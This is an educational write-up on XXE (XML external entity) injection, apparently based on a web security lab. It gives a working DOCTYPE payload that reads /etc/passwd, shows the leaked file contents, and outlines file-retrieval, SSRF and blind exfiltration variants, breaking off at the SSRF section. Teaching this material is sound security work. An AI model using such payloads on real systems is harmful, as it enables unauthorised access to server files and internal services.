XXE

XXE or XML external entity injection is a vulnerability that allows an attacker to inject malicious code into the XML data. It often allows the attacker to view files on the application server filesystem and interact with any backend or external systems the app already has access to, sometimes XXE can be chained to leverage a SSRF(server-side request forgery). A very basic example of XXE looks like this

```
<?xml version="1"?>
<stockCheck><productId>
</productId></stockCheck>
```

as we can see this is a basic XML app that checks for the stock, now if we redifine the stock using an XML entity we can return sensitive data and we can do it like so

```
<?xml version="1"?>
    <!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<stockCheck><productId>&xxe;
</productId></stockCheck>
```

Now when we run the stockcheck we receive the contents of `/etc/passwd`

What Types of XXE are there?

There are multiple forms of XXE out in the wild but these are the most common 4 that we find

XXE For File Retrieval - this is the example that I showed above, this means that we can receive the contents of files that are sensitive info and can be used to chain into a pt. 2 of an attack

XXE to SSRF - this is where the entity is defined based on a URL to a back-end system

Blind XXE to Out-Of-Band Exfiltration - this is where information is sent to a server that is controlled by the attacker in order to retrieve the sensitive information

Blind XXE to Retrieve Data Via Error Messages - This is where the attacker retrieves sensitive information by some means of triggering an error message

XXE For File Retrieval

For this method of XXE, we simpily intend to retrieve arbitrary files via the following ways:

```
Introduce or edit the `DOCTYPE` element that defines the external entity containing the path to the file. Then edit the data value in the XML that is returned in the application's response.
```

The response to the example that I provided would look like this

```
"Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
peter:x:12001:12001::/home/peter:/bin/bash
carlos:x:12002:12002::/home/carlos:/bin/bash
user:x:12000:12000::/home/user:/bin/bash
elmer:x:12099:12099::/home/elmer:/bin/bash
academy:x:10000:10000::/academy:/bin/bash
messagebus:x:101:101::/nonexistent:/usr/sbin/nologin
```

```
dnsmasq:x:102:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin


"
```

XXE to SSRF

Another way an attacker can utilize an XXE vulnerability is to potentially perform a SSRF attack which is a very severe attack that can be used to perform HTTP requests from the affected server to access any URL that the server can access